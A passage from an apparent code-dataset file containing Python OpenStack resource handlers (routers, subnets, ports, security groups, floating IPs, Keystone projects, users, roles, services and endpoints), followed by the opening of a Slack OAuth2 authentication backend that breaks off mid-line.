self._update_subnets(router_id, [], resource.subnets)\n ctx.info(\"Added subnets to router with id %(id)s\", id=router_id)\n\n if resource.gateway is not None and resource.gateway != \"\":\n self._set_gateway(router_id, resource.gateway)\n ctx.info(\"Set gateway of router with id %(id)s\", id=router_id)\n\n def delete_resource(self, ctx: handler.HandlerContext, resource: resources.PurgeableResource) -> None:\n router_id = ctx.get(\"neutron\")[\"id\"]\n\n ports = self._neutron.list_ports(device_id=router_id)[\"ports\"]\n for port in ports:\n if port[\"device_owner\"] == \"network:router_interface\":\n ctx.info(\"Detatch interface with port id %(port)s from router %(router_id)s\",\n port=port[\"id\"], router_id=router_id)\n self._neutron.remove_interface_router(router=router_id, body={\"port_id\": port[\"id\"]})\n\n self._neutron.delete_router(router_id)\n ctx.set_purged()\n\n def _update_subnets(self, router_id, current, desired):\n current = set(current)\n to = set(desired)\n\n # subnets to add to the router\n for subnet in (to - current):\n # query for the subnet id\n subnet_data = self._neutron.list_subnets(name=subnet)\n if \"subnets\" not in subnet_data or len(subnet_data[\"subnets\"]) != 1:\n raise Exception(\"Unable to find id of subnet %s\" % subnet)\n\n subnet_id = subnet_data[\"subnets\"][0][\"id\"]\n self._neutron.add_interface_router(router=router_id, body={\"subnet_id\": subnet_id})\n\n # subnets to delete\n for subnet in (current - to):\n # query for the subnet id\n subnet_data = self._neutron.list_subnets(name=subnet)\n if \"subnets\" not in subnet_data or len(subnet_data[\"subnets\"]) != 1:\n raise Exception(\"Unable to find id of subnet %s\" % subnet)\n\n subnet_id = subnet_data[\"subnets\"][0][\"id\"]\n self._neutron.remove_interface_router(router=router_id, body={\"subnet_id\": subnet_id})\n\n def _set_gateway(self, router_id, network):\n network = self.get_network(None, name=network)\n if network is None:\n raise Exception(\"Unable to set router gateway because the gateway network that does not exist.\")\n\n self._neutron.add_gateway_router(router_id, {'network_id': network[\"id\"]})\n\n def update_resource(self, ctx: handler.HandlerContext, changes: dict, resource: resources.PurgeableResource) -> None:\n router_id = ctx.get(\"neutron\")[\"id\"]\n if \"name\" in changes:\n self._neutron.update_router(router_id, {\"router\": {\"name\": resource.name}})\n ctx.set_updated()\n\n if \"subnets\" in changes:\n self._update_subnets(router_id, changes[\"subnets\"][\"current\"], changes[\"subnets\"][\"desired\"])\n ctx.info(\"Modified subnets of router with id %(id)s\", id=router_id)\n ctx.set_updated()\n\n if \"gateway\" in changes:\n self._set_gateway(router_id, resource.gateway)\n ctx.info(\"Modified gateway of router with id %(id)s\", id=router_id)\n ctx.set_updated()\n\n if \"routes\" in changes:\n ctx.set_updated()\n self._neutron.update_router(router_id, {\"router\": {\"routes\": [{\"nexthop\": n, \"destination\": d}\n for d, n in resource.routes.items()]}})\n\n def facts(self, ctx, resource: Router) -> dict:\n routers = self._neutron.list_routers(name=resource.name)\n\n if \"routers\" not in routers:\n return {}\n\n filtered_list = [rt for rt in routers[\"routers\"] if rt[\"name\"] == resource.name]\n\n if len(filtered_list) == 0:\n return {}\n\n if len(filtered_list) > 1:\n LOGGER.warning(\"Multiple routers with the same name available!\")\n return {}\n\n router = filtered_list[0]\n return router\n\n\n@provider(\"openstack::Subnet\", name=\"openstack\")\nclass SubnetHandler(OpenStackHandler):\n def read_resource(self, ctx: handler.HandlerContext, resource: resources.PurgeableResource) -> None:\n neutron_version = self.facts(ctx, resource)\n\n if len(neutron_version) > 0:\n resource.purged = False\n resource.id = neutron_version[\"id\"]\n resource.network_address = neutron_version[\"cidr\"]\n resource.dhcp = neutron_version[\"enable_dhcp\"]\n resource.network_id = neutron_version[\"network_id\"]\n resource.dns_servers = neutron_version[\"dns_nameservers\"]\n\n pool = neutron_version[\"allocation_pools\"][0]\n if resource.allocation_start != \"\" and resource.allocation_end != \"\": # only change when they are both set\n resource.allocation_start = pool[\"start\"]\n resource.allocation_end = pool[\"end\"]\n\n ctx.set(\"neutron\", neutron_version)\n else:\n raise ResourcePurged()\n\n def create_resource(self, ctx: handler.HandlerContext, resource: resources.PurgeableResource) -> None:\n project_id = self.get_project_id(resource, resource.project)\n if project_id is None:\n raise SkipResource(\"Cannot create network when project id is not yet known.\")\n\n network = self.get_network(project_id, name=resource.network)\n if network is None:\n raise Exception(\"Unable to create subnet because of network that does not exist.\")\n\n body = {\"name\": resource.name, \"network_id\": network[\"id\"], \"enable_dhcp\": resource.dhcp,\n \"cidr\": resource.network_address, \"ip_version\": 4, \"tenant_id\": project_id}\n\n if len(resource.allocation_start) > 0 and len(resource.allocation_end) > 0:\n body[\"allocation_pools\"] = [{\"start\": resource.allocation_start, \"end\": resource.allocation_end}]\n\n if len(resource.dns_servers) > 0:\n body[\"dns_nameservers\"] = resource.dns_servers\n\n self._neutron.create_subnet({\"subnet\": body})\n ctx.set_created()\n\n def delete_resource(self, ctx: handler.HandlerContext, resource: resources.PurgeableResource) -> None:\n neutron = ctx.get(\"neutron\")\n self._neutron.delete_subnet(neutron[\"id\"])\n ctx.set_purged()\n\n def update_resource(self, ctx: handler.HandlerContext, changes: dict, resource: resources.PurgeableResource) -> None:\n neutron = ctx.get(\"neutron\")\n\n # Send everything that can be updated to the server, the API will figure out what to change\n body = {\"subnet\": {\"enable_dhcp\": resource.dhcp}}\n if len(resource.allocation_start) > 0 and len(resource.allocation_end) > 0:\n body[\"allocation_pools\"] = [{\"start\": resource.allocation_start,\n \"end\": resource.allocation_end}]\n\n if len(resource.dns_servers) > 0:\n body[\"dns_nameservers\"] = resource.dns_servers\n\n self._neutron.update_subnet(neutron[\"id\"], body)\n ctx.set_updated()\n\n @cache(timeout=5)\n def facts(self, ctx, resource):\n subnets = self._neutron.list_subnets(name=resource.name)\n\n if \"subnets\" not in subnets:\n return {}\n\n filtered_list = [sn for sn in subnets[\"subnets\"] if sn[\"name\"] == resource.name]\n\n if len(filtered_list) == 0:\n return {}\n\n if len(filtered_list) > 1:\n LOGGER.warning(\"Multiple subnets with the same name available!\")\n return {}\n\n subnet = filtered_list[0]\n return subnet\n\n\n@provider(\"openstack::RouterPort\", name=\"openstack\")\nclass RouterPortHandler(OpenStackHandler):\n def read_resource(self, ctx: handler.HandlerContext, resource: resources.PurgeableResource) -> None:\n project_id = self.get_project_id(resource, resource.project)\n if project_id is None:\n raise SkipResource(\"Cannot create network when project id is not yet known.\")\n\n neutron_version = self.facts(ctx, resource)\n ctx.set(\"neutron\", neutron_version)\n ctx.set(\"project_id\", project_id)\n\n router = None\n if len(neutron_version) > 0:\n # Router stuff\n if neutron_version[\"device_id\"] == \"\":\n resource.router = \"\"\n else:\n router = self.get_router(router_id=neutron_version[\"device_id\"])\n resource.router = router[\"name\"]\n\n # Network stuff\n network = self.get_network(project_id, network_id=neutron_version[\"network_id\"])\n resource.network = network[\"name\"]\n ctx.set(\"network\", network)\n\n # IP address / subnet stuff\n subnet = None\n if len(neutron_version[\"fixed_ips\"]) > 1:\n raise Exception(\"This handler only supports ports that have an address in a single subnet.\")\n elif len(neutron_version[\"fixed_ips\"]) == 0:\n resource.subnet = \"\"\n resource.address = \"\"\n else:\n subnet = self.get_subnet(project_id, subnet_id=neutron_version[\"fixed_ips\"][0][\"subnet_id\"])\n resource.subnet = subnet[\"name\"]\n resource.address = neutron_version[\"fixed_ips\"][0][\"ip_address\"]\n\n ctx.set(\"subnet\", subnet)\n\n resource.purged = False\n else:\n raise ResourcePurged()\n\n def create_resource(self, ctx: handler.HandlerContext, resource: resources.PurgeableResource) -> None:\n project_id = ctx.get(\"project_id\")\n\n network = self.get_network(project_id, name=resource.network)\n if network is None:\n raise SkipResource(\"Unable to create router port because the network does not exist.\")\n\n subnet = self.get_subnet(project_id, name=resource.subnet)\n if subnet is None:\n raise SkipResource(\"Unable to create router port because the subnet does not exist.\")\n\n router = self.get_router(project_id, name=resource.router)\n if router is None:\n raise SkipResource(\"Unable to create router port because the router does not exist.\")\n\n body_value = {'port': {'admin_state_up': True, 'name': resource.name, 'network_id': network[\"id\"]}}\n if resource.address != \"\":\n body_value[\"port\"][\"fixed_ips\"] = [{\"subnet_id\": subnet[\"id\"], \"ip_address\": resource.address}]\n\n result = self._neutron.create_port(body=body_value)\n\n if \"port\" not in result:\n raise Exception(\"Unable to create port.\")\n\n port_id = result[\"port\"][\"id\"]\n\n # attach it to the router\n self._neutron.add_interface_router(router[\"id\"], body={\"port_id\": port_id})\n ctx.set_created()\n\n def delete_resource(self, ctx: handler.HandlerContext, resource: resources.PurgeableResource) -> None:\n port = ctx.get(\"neutron\")\n\n if port[\"device_owner\"] == \"network:router_interface\":\n ctx.info(\"Detatch interface with port id %(port)s from router %(router_id)s\",\n port=port[\"id\"], router_id=port[\"device_id\"])\n self._neutron.remove_interface_router(router=port[\"device_id\"], body={\"port_id\": port[\"id\"]})\n else:\n self._neutron.delete_port(port[\"id\"])\n\n ctx.set_purged()\n\n def update_resource(self, ctx: handler.HandlerContext, changes: dict, resource: resources.PurgeableResource) -> None:\n raise SkipResource(\"Making changes to router ports is not supported.\")\n\n def facts(self, ctx, resource: RouterPort):\n ports = self._neutron.list_ports(name=resource.name)\n\n if \"ports\" not in ports:\n return {}\n\n filtered_list = [port for port in ports[\"ports\"] if port[\"name\"] == resource.name]\n\n if len(filtered_list) == 0:\n return {}\n\n if len(filtered_list) > 1:\n LOGGER.warning(\"Multiple ports with the same name available!\")\n return {}\n\n port = filtered_list[0]\n return port\n\n\n@provider(\"openstack::HostPort\", name=\"openstack\")\nclass HostPortHandler(OpenStackHandler):\n def get_port(self, ctx, network_id, device_id):\n ports = self._neutron.list_ports(network_id=network_id, device_id=device_id)[\"ports\"]\n ctx.debug(\"Retrieved ports matching network %(network_id)s and device %(device_id)s\",\n network_id=network_id, device_id=device_id, ports=ports)\n if len(ports) > 0:\n return ports[0]\n return None\n\n def wait_for_active(self, ctx, project_id, resource):\n \"\"\"\n A port cannot be attached to a VM when the VM is in the building state. This method waits a limited amount of\n time for the VM to become active. If it takes to long, this resource will be skipped.\n \"\"\"\n tries = 0\n max_attempts = resource.retries if resource.retries > 0 else 1\n while tries < max_attempts:\n vm = self.get_host(project_id, resource.host)\n vm_state = getattr(vm, \"OS-EXT-STS:vm_state\")\n if vm_state == \"active\":\n return vm\n\n ctx.info(\"VM for port is not in active state. Waiting and retrying in 5 seconds.\")\n tries += 1\n time.sleep(resource.wait)\n\n raise SkipResource(\"Unable to create host port because vm is not in active state (current %s)\" % vm_state)\n\n def read_resource(self, ctx: handler.HandlerContext, resource: resources.PurgeableResource) -> None:\n if resource.purged:\n # Most stuff below here will err eventually\n return\n\n project_id = self.get_project_id(resource, resource.project)\n if project_id is None:\n raise SkipResource(\"Cannot create a host port when project id is not yet known.\")\n ctx.set(\"project_id\", project_id)\n\n network = self.get_network(project_id, resource.network)\n if network is None:\n raise SkipResource(\"Network %s for port %s not found.\" % (resource.network, resource.name))\n ctx.set(\"network\", network)\n\n vm = self.wait_for_active(ctx, project_id, resource)\n if vm is None:\n raise SkipResource(\"Unable to create host port because the vm does not exist.\")\n\n ctx.set(\"vm\", vm)\n\n port = self.get_port(ctx, network[\"id\"], vm.id)\n ctx.set(\"port\", port)\n if port is None:\n raise ResourcePurged()\n\n resource.purged = False\n if not resource.dhcp:\n resource.address = port[\"fixed_ips\"][0][\"ip_address\"]\n\n if len(port[\"fixed_ips\"]) > 0:\n subnet = self.get_subnet(project_id, subnet_id=port[\"fixed_ips\"][0][\"subnet_id\"])\n resource.subnet = subnet[\"name\"]\n else:\n resource.subnet = \"\"\n\n if \"port_security_enabled\" in port:\n resource.portsecurity = port[\"port_security_enabled\"]\n ctx.set(\"portsecurity\", True)\n else:\n ctx.set(\"portsecurity\", False)\n resource.portsecurity = True\n if not resource.portsecurity:\n # Port security is not enabled in the API, but resource wants to disable it.\n ctx.warning(\"Ignoring portsecurity is False because extension is not enabled.\")\n\n resource.name = port[\"name\"]\n\n def create_resource(self, ctx: handler.HandlerContext, resource: resources.PurgeableResource) -> None:\n project_id = ctx.get(\"project_id\")\n network = ctx.get(\"network\")\n vm = ctx.get(\"vm\")\n subnet = self.get_subnet(project_id, name=resource.subnet)\n if subnet is None:\n raise SkipResource(\"Unable to create host port because the subnet does not exist.\")\n\n try:\n body_value = {'port': {'admin_state_up': True, 'name': resource.name, 'network_id': network[\"id\"]}}\n\n if resource.address != \"\" and not resource.dhcp:\n body_value[\"port\"][\"fixed_ips\"] = [{\"subnet_id\": subnet[\"id\"], \"ip_address\": resource.address}]\n\n if (not ctx.contains(\"portsecurity\") or ctx.get(\"portsecurity\")) and not resource.portsecurity:\n body_value[\"port\"][\"port_security_enabled\"] = False\n body_value[\"port\"][\"security_groups\"] = None\n\n result = self._neutron.create_port(body=body_value)\n\n if \"port\" not in result:\n raise Exception(\"Unable to create port.\")\n\n port_id = result[\"port\"][\"id\"]\n\n # attach it to the host\n vm.interface_attach(port_id, None, None)\n except novaclient.exceptions.Conflict as e:\n raise SkipResource(\"Host is not ready: %s\" % str(e), e)\n\n ctx.set_created()\n\n def delete_resource(self, ctx: handler.HandlerContext, resource: resources.PurgeableResource) -> None:\n port = ctx.get(\"port\")\n response = self._neutron.delete_port(port[\"id\"])\n ctx.info(\"Deleted port %(port_id)s with response %(response)s\", port_id=port[\"id\"], response=response)\n ctx.set_purged()\n\n def update_resource(self, ctx: handler.HandlerContext, changes: dict, resource: resources.PurgeableResource) -> None:\n port = ctx.get(\"port\")\n\n try:\n if ctx.get(\"portsecurity\") and \"portsecurity\" in changes:\n if not changes[\"portsecurity\"][\"desired\"]:\n self._neutron.update_port(port=port[\"id\"], body={\"port\": {\"port_security_enabled\": False,\n \"security_groups\": None}})\n else:\n raise SkipResource(\"Turning port security on again is not supported.\")\n\n del changes[\"portsecurity\"]\n\n if \"name\" in changes:\n self._neutron.update_port(port=port[\"id\"], body={\"port\": {\"name\": resource.name}})\n del changes[\"name\"]\n\n if len(changes) > 0:\n raise SkipResource(\"not implemented, %s\" % changes)\n\n except novaclient.exceptions.Conflict as e:\n raise SkipResource(\"Host is not ready: %s\" % str(e))\n\n @cache(timeout=5)\n def facts(self, ctx, resource):\n ports = self._neutron.list_ports(name=resource.name)\n\n if \"ports\" not in ports:\n return {}\n\n filtered_list = [port for port in ports[\"ports\"] if port[\"name\"] == resource.name]\n\n if len(filtered_list) == 0:\n return {}\n\n if len(filtered_list) > 1:\n LOGGER.warning(\"Multiple ports with the same name available!\")\n return {}\n\n port = filtered_list[0]\n facts = {}\n index = 0\n for ip in port[\"fixed_ips\"]:\n facts[\"ip_address_%d\" % index] = ip[\"ip_address\"]\n if index == 0:\n facts[\"ip_address\"] = ip[\"ip_address\"]\n\n return facts\n\n\n@provider(\"openstack::SecurityGroup\", name=\"openstack\")\nclass SecurityGroupHandler(OpenStackHandler):\n def _build_current_rules(self, ctx, security_group):\n rules = []\n for rule in security_group[\"security_group_rules\"]:\n if rule[\"ethertype\"] != \"IPv4\":\n continue\n\n current_rule = {\"__id\": rule[\"id\"]}\n if rule[\"protocol\"] is None:\n current_rule[\"protocol\"] = \"all\"\n else:\n current_rule[\"protocol\"] = rule[\"protocol\"]\n\n if rule[\"remote_ip_prefix\"] is not None:\n current_rule[\"remote_ip_prefix\"] = rule[\"remote_ip_prefix\"]\n\n elif rule[\"remote_group_id\"] is not None:\n rgi = self.get_security_group(ctx, group_id=rule[\"remote_group_id\"])\n current_rule[\"remote_group\"] = rgi[\"name\"]\n\n else:\n current_rule[\"remote_ip_prefix\"] = \"0.0.0.0/0\"\n\n current_rule[\"direction\"] = rule[\"direction\"]\n current_rule[\"port_range_min\"] = rule[\"port_range_min\"]\n current_rule[\"port_range_max\"] = rule[\"port_range_max\"]\n\n rules.append(current_rule)\n\n return rules\n\n def read_resource(self, ctx: handler.HandlerContext, resource: SecurityGroup) -> None:\n sg = self.get_security_group(ctx, name=resource.name)\n\n ctx.set(\"sg\", sg)\n if sg is None:\n raise ResourcePurged()\n\n resource.purged = False\n resource.description = sg[\"description\"]\n resource.rules = self._build_current_rules(ctx, sg)\n\n def _compare_rule(self, old, new):\n old_keys = set([x for x in old.keys() if not x.startswith(\"__\")])\n new_keys = set([x for x in new.keys() if not x.startswith(\"__\")])\n\n if old_keys != new_keys:\n return False\n\n for key in old_keys:\n if old[key] != new[key]:\n return False\n\n return True\n\n def _diff(self, current, desired):\n changes = OpenStackHandler._diff(self, current, desired)\n\n if \"rules\" in changes:\n old_rules = list(changes[\"rules\"][\"current\"])\n new_rules = list(changes[\"rules\"][\"desired\"])\n\n for new_rule in changes[\"rules\"][\"desired\"]:\n for old_rule in changes[\"rules\"][\"current\"]:\n if self._compare_rule(old_rule, new_rule):\n old_rules.remove(old_rule)\n new_rules.remove(new_rule)\n break\n\n if len(old_rules) == 0 and len(new_rules) == 0:\n del changes[\"rules\"]\n\n return changes\n\n def _update_rules(self, group_id, resource, current_rules, desired_rules):\n # # Update rules. First add all new rules, than remove unused rules\n old_rules = list(current_rules)\n # new_rules = [dict(x) for x in desired_rules]\n new_rules = list(desired_rules)\n\n for new_rule in desired_rules:\n for old_rule in current_rules:\n if self._compare_rule(old_rule, new_rule):\n old_rules.remove(old_rule)\n new_rules.remove(new_rule)\n break\n\n for new_rule in new_rules:\n new_rule[\"ethertype\"] = \"IPv4\"\n if \"remote_group\" in new_rule:\n if new_rule[\"remote_group\"] is not None:\n # lookup the id of the group\n groups = self._neutron.list_security_groups(name=new_rule[\"remote_group\"])[\"security_groups\"]\n if len(groups) == 0:\n # TODO: log skip rule\n continue # Do not update this rule\n\n del new_rule[\"remote_group\"]\n new_rule[\"remote_group_id\"] = groups[0][\"id\"]\n\n else:\n del new_rule[\"remote_group_id\"]\n\n new_rule[\"security_group_id\"] = group_id\n\n if new_rule[\"protocol\"] == \"all\":\n new_rule[\"protocol\"] = None\n\n try:\n self._neutron.create_security_group_rule({'security_group_rule': new_rule})\n except exceptions.Conflict:\n LOGGER.exception(\"Rule conflict for rule %s\", new_rule)\n raise\n\n for old_rule in old_rules:\n try:\n self._neutron.delete_security_group_rule(old_rule[\"__id\"])\n except exceptions.NotFound:\n # TODO: handle this\n pass\n\n def create_resource(self, ctx: handler.HandlerContext, resource: SecurityGroup) -> None:\n sg = self._neutron.create_security_group({\"security_group\": {\"name\": resource.name,\n \"description\": resource.description}})\n current_rules = self._build_current_rules(ctx, sg[\"security_group\"])\n self._update_rules(sg[\"security_group\"][\"id\"], resource, current_rules, resource.rules)\n ctx.set_created()\n\n def delete_resource(self, ctx: handler.HandlerContext, resource: SecurityGroup) -> None:\n sg = ctx.get(\"sg\")\n tries = 0\n max_attempts = resource.retries if resource.retries > 0 else 1\n while tries < max_attempts:\n try:\n self._neutron.delete_security_group(sg[\"id\"])\n ctx.set_purged()\n return\n except Exception:\n ctx.info(\"Delete failed. Waiting and trying again in 5 seconds.\")\n time.sleep(resource.wait)\n tries += 1\n\n raise SkipResource(\"Deleting the security group failed, probably because it is still in use.\")\n\n\n def update_resource(self, ctx: handler.HandlerContext, changes: dict, resource: SecurityGroup) -> None:\n sg = ctx.get(\"sg\")\n if \"name\" in changes or \"description\" in changes:\n self._neutron.update_security_group(sg[\"id\"], {\"security_group\": {\"name\": resource.name,\n \"description\": resource.description}})\n ctx.set_updated()\n\n if \"rules\" in changes:\n self._update_rules(sg[\"id\"], resource, changes[\"rules\"][\"current\"], changes[\"rules\"][\"desired\"])\n ctx.set_updated()\n\n @cache(timeout=5)\n def facts(self, ctx, resource):\n return {}\n\n\n@provider(\"openstack::FloatingIP\", name=\"openstack\")\nclass FloatingIPHandler(OpenStackHandler):\n @cache(timeout=10)\n def get_port_id(self, name):\n ports = self._neutron.list_ports(name=name)[\"ports\"]\n if len(ports) == 0:\n return None\n\n elif len(ports) == 1:\n return ports[0][\"id\"]\n else:\n raise Exception(\"Multiple ports found with name %s\" % name)\n\n @cache(timeout=10)\n def get_floating_ip(self, port_id):\n fip = self._neutron.list_floatingips(port_id=port_id)[\"floatingips\"]\n if len(fip) == 0:\n return None\n\n else:\n return fip[0][\"id\"]\n\n def read_resource(self, ctx: handler.HandlerContext, resource: FloatingIP) -> None:\n port_id = self.get_port_id(resource.port)\n ctx.set(\"port_id\", port_id)\n fip = self.get_floating_ip(port_id)\n ctx.set(\"fip\", fip)\n\n if fip is None:\n raise ResourcePurged()\n\n resource.purged = False\n\n def _find_available_fips(self, project_id, network_id):\n available_fips = []\n floating_ips = self._neutron.list_floatingips(floating_network_id=network_id, tenant_id=project_id)[\"floatingips\"]\n for fip in floating_ips:\n if fip[\"port_id\"] is None:\n available_fips.append(fip)\n\n return available_fips\n\n def create_resource(self, ctx: handler.HandlerContext, resource: FloatingIP) -> None:\n network_id = self.get_network(None, resource.external_network)[\"id\"]\n project_id = self.get_project_id(resource, resource.project)\n if project_id is None:\n raise SkipResource(\"Cannot create a floating ip when project id is not yet known.\")\n ctx.set(\"project_id\", project_id)\n\n port_id = ctx.get(\"port_id\")\n if network_id is None:\n raise SkipResource(\"Unable to finx external network\")\n\n available_fips = self._find_available_fips(project_id, network_id)\n if len(available_fips) > 0:\n fip_id = available_fips[0][\"id\"]\n self._neutron.update_floatingip(fip_id, {\"floatingip\": {\"port_id\": port_id, \"description\": resource.name}})\n\n else:\n self._neutron.create_floatingip({\"floatingip\": {\"port_id\": port_id, \"floating_network_id\": network_id,\n \"description\": resource.name}})\n\n ctx.set_created()\n\n def delete_resource(self, ctx: handler.HandlerContext, resource: FloatingIP) -> None:\n self._neutron.delete_floatingip(ctx.get(\"fip\"))\n ctx.set_purged()\n\n def update_resource(self, ctx: handler.HandlerContext, changes: dict, resource: FloatingIP) -> None:\n raise SkipResource(\"Updating a floating ip is not supported\")\n\n @cache(timeout=5)\n def facts(self, ctx, resource):\n port_id = self.get_port_id(resource.port)\n fip = self._neutron.list_floatingips(port_id=port_id)[\"floatingips\"]\n if len(fip) == 0:\n return {}\n\n else:\n return {\"ip_address\": fip[0][\"floating_ip_address\"]}\n\n\n@dependency_manager\ndef keystone_dependencies(config_model, resource_model):\n projects = {}\n users = {}\n roles = []\n for _, res in resource_model.items():\n if res.id.entity_type == \"openstack::Project\":\n projects[res.name] = res\n\n elif res.id.entity_type == \"openstack::User\":\n users[res.name] = res\n\n elif res.id.entity_type == \"openstack::Role\":\n roles.append(res)\n\n for role in roles:\n if role.project not in projects:\n raise Exception(\"The project %s of role %s is not defined in the model.\" % (role.project, role.role_id))\n\n if role.user not in users:\n raise Exception(\"The user %s of role %s is not defined in the model.\" % (role.user, role.role_id))\n\n role.requires.add(projects[role.project])\n role.requires.add(users[role.user])\n\n\n@provider(\"openstack::Project\", name=\"openstack\")\nclass ProjectHandler(OpenStackHandler):\n def read_resource(self, ctx, resource):\n try:\n project = self._keystone.projects.find(name=resource.name)\n resource.purged = False\n resource.enabled = project.enabled\n resource.description = project.description\n ctx.set(\"project\", project)\n except NotFound:\n raise ResourcePurged()\n\n def create_resource(self, ctx, resource: resources.PurgeableResource) -> None:\n self._keystone.projects.create(resource.name, description=resource.description, enabled=resource.enabled,\n domain=\"default\")\n ctx.set_created()\n\n def delete_resource(self, ctx, resource: resources.PurgeableResource) -> None:\n ctx.get(\"project\").delete()\n ctx.set_purged()\n\n def update_resource(self, ctx, changes: dict, resource: resources.PurgeableResource) -> None:\n ctx.get(\"project\").update(name=resource.name, description=resource.description, enabled=resource.enabled)\n ctx.set_updated()\n\n def facts(self, ctx, resource: Project):\n keystone = self.get_connection(resource)\n try:\n project = keystone.tenants.find(name=resource.name)\n return {\"id\": project.id, \"name\": project.name}\n except Exception:\n return {}\n\n\n@provider(\"openstack::User\", name=\"openstack\")\nclass UserHandler(OpenStackHandler):\n def read_resource(self, ctx, resource):\n try:\n user = self._keystone.users.find(name=resource.name)\n resource.purged = False\n resource.enabled = user.enabled\n resource.email = user.email\n ctx.set(\"user\", user)\n\n # if a password is provided (not \"\"), check if it works otherwise mark it as \"***\"\n if resource.password != \"\":\n try:\n s = keystone_client.Client(auth_url=resource.auth_url, username=resource.name, password=resource.password)\n s.authenticate()\n except Exception:\n resource.password = \"***\"\n\n except NotFound:\n raise ResourcePurged()\n\n def create_resource(self, ctx, resource: resources.PurgeableResource) -> None:\n self._keystone.users.create(resource.name, password=resource.password, email=resource.email, enabled=resource.enabled)\n ctx.set_created()\n\n def delete_resource(self, ctx, resource: resources.PurgeableResource) -> None:\n ctx.get(\"user\").delete()\n ctx.set_purged()\n\n def update_resource(self, ctx, changes: dict, resource: resources.PurgeableResource) -> None:\n user_id = ctx.get(\"user\").id\n if resource.password != \"\":\n self._keystone.users.update(user_id, password=resource.password, email=resource.email, enabled=resource.enabled)\n else:\n self._keystone.users.update(user_id, email=resource.email, enabled=resource.enabled)\n ctx.set_updated()\n\n\n@provider(\"openstack::Role\", name=\"openstack\")\nclass RoleHandler(OpenStackHandler):\n \"\"\"\n creates roles and user, project, role assocations\n \"\"\"\n def read_resource(self, ctx, resource):\n # get the role\n role = None\n try:\n role = self._keystone.roles.find(name=resource.role)\n except NotFound:\n ctx.info(\"Role %(role)s does not exit yet.\", role=resource.role)\n pass\n\n try:\n user = self._keystone.users.find(name=resource.user)\n except NotFound:\n raise SkipResource(\"The user does not exist.\")\n\n try:\n project = self._keystone.projects.find(name=resource.project)\n except NotFound:\n raise SkipResource(\"The project does not exist.\")\n\n try:\n self._keystone.roles.check(role=role, user=user, project=project)\n resource.purged = False\n except Exception:\n resource.purged = True\n\n ctx.set(\"role\", role)\n ctx.set(\"user\", user)\n ctx.set(\"project\", project)\n\n def create_resource(self, ctx, resource: resources.PurgeableResource) -> None:\n user = ctx.get(\"user\")\n project = ctx.get(\"project\")\n role = ctx.get(\"role\")\n\n if role is None:\n role = self._keystone.roles.create(resource.role)\n\n self._keystone.roles.grant(user=user, role=role, project=project)\n ctx.set_created()\n\n def delete_resource(self, ctx, resource: resources.PurgeableResource) -> None:\n user = ctx.get(\"user\")\n project = ctx.get(\"project\")\n role = ctx.get(\"role\")\n\n self._keystone.roles.revoke(user=user, role=role, project=project)\n ctx.set_purged()\n\n def update_resource(self, ctx, changes: dict, resource: resources.PurgeableResource) -> None:\n assert False, \"This should not happen\"\n\n\n@provider(\"openstack::Service\", name=\"openstack\")\nclass ServiceHandler(OpenStackHandler):\n def read_resource(self, ctx, resource):\n service = None\n try:\n service = self._keystone.services.find(name=resource.name, type=resource.type)\n resource.description = service.description\n resource.purged = False\n except NotFound:\n resource.purged = True\n resource.description = None\n resource.name = None\n resource.type = None\n\n ctx.set(\"service\", service)\n\n def create_resource(self, ctx, resource: resources.PurgeableResource) -> None:\n self._keystone.services.create(resource.name, resource.type, description=resource.description)\n ctx.set_created()\n\n def delete_resource(self, ctx, resource: resources.PurgeableResource) -> None:\n ctx.get(\"service\").delete()\n ctx.set_purged()\n\n def update_resource(self, ctx, changes: dict, resource: resources.PurgeableResource) -> None:\n self._keystone.services.update(ctx.get(\"service\"), description=resource.description)\n ctx.set_updated()\n\n\n@provider(\"openstack::EndPoint\", name=\"openstack\")\nclass EndpointHandler(OpenStackHandler):\n\n types = {\"admin\": \"admin_url\", \"internal\": \"internal_url\", \"public\": \"public_url\"}\n\n def read_resource(self, ctx, resource):\n service = None\n for s in self._keystone.services.list():\n if resource.service_id == \"%s_%s\" % (s.type, s.name):\n service = s\n\n if service is None:\n raise SkipResource(\"Unable to find service to which endpoint belongs\")\n\n endpoints = {}\n try:\n endpoints = {e.interface: e for e in self._keystone.endpoints.list(region=resource.region, service=service)}\n for k, v in EndpointHandler.types.items():\n setattr(resource, v, endpoints[k].url if k in endpoints else None)\n\n resource.purged = False\n except NotFound:\n resource.purged = True\n resource.region = None\n resource.internal_url = None\n resource.admin_url = None\n resource.public_url = None\n\n ctx.set(\"service\", service)\n ctx.set(\"endpoints\", endpoints)\n\n def create_resource(self, ctx, resource: resources.PurgeableResource) -> None:\n assert False, \"Should never get here\"\n\n def delete_resource(self, ctx, resource: resources.PurgeableResource) -> None:\n for endpoint in ctx.get(\"endpoints\"):\n endpoint.delete()\n\n ctx.set_purged()\n\n def update_resource(self, ctx, changes: dict, resource: resources.PurgeableResource) -> None:\n service = ctx.get(\"service\")\n endpoints = ctx.get(\"endpoints\")\n\n for k, v in EndpointHandler.types.items():\n if k not in endpoints:\n self._keystone.endpoints.create(service, url=getattr(resource, v), region=resource.region, interface=k)\n ctx.set_created()\n\n elif v in changes:\n self._keystone.endpoints.update(endpoints[k], url=getattr(resource, v))\n ctx.set_updated()\n","sub_path":"plugins/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":72930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"190573182","text":"\"\"\"\nSlack OAuth2 backend, docs at:\n http://psa.matiasaguirre.net/docs/backends/slack.html\n https://api.slack.com/docs/oauth\n\"\"\"\nimport re\n\nfrom social.backends.oauth import BaseOAuth2\n\n\nclass SlackOAuth2(BaseOAuth2):\n \"\"\"Slack OAuth authentication backend\"\"\"\n name = 'slack'\n AUTHORIZATION_URL = 'https://slack.com/oauth/authorize'\n ACCESS_TOKEN_URL = 'https://slack.com/api/oauth.access'\n ACCESS_TOKEN_METHOD = 'POST'\n SCOPE_SEPARATOR = ','\n REDIRECT_STATE = True\n EXTRA_DATA = [\n ('id', 'id'),\n ('name', 'name'),\n ('real_name', 'real_name')\n ]\n\n def get_user_details(self, response):\n \"\"\"Return user details from Slack account\"\"\"\n # Build the username with the team $username@$team_url\n # Necessary to get unique names for all of slack\n match = re.search(r'//([^.]+)\\.slack\\.com', response['team_url'])\n username = '{0}@{1}'.format(response.get('name'), match.group(1))\n return {\n 'username': username,\n 'email': response['profile'].get('email', ''),\n 'fullname': response['profile'].get('real_name'),\n 'first_name': response['profile'].get('first_name'),\n 'last_name': response['profile'].get('last_name')\n }\n\n def user_data(self, access_token, 